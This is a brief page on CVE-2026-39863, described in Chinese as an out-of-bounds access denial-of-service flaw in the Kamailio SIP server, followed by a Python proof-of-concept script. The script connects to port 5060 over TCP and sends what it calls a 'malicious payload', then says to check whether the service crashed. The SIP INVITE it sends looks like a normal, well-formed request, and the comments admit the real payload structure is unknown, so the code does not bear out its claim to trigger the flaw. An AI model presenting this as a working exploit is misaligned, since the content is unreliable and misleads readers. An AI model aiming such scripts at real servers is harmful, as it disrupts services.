CVE-2026-39863 Kamailio越界访问致DoS漏洞

import socket # Target Kamailio server with TCP listener target_host = "127.0.0.1" target_port = 5060 # Conceptual PoC: Sending a crafted SIP packet to trigger OOB read/write # The specific payload structure depends on the vulnerable parsing function. # This example sends a malformed SIP request over TCP. payload = b"INVITE sip:target@kamailio SIP/2.0\r\n" payload += b"Via: SIP/2.0/TCP attacker;branch=z9hG4bK-exploit\r\n" payload += b"Content-Length: 0\r\n" payload += b"\r\n" try: print(f"[+] Connecting to {target_host}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) print("[+] Sending malicious payload...") s.send(payload) print("[+] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}")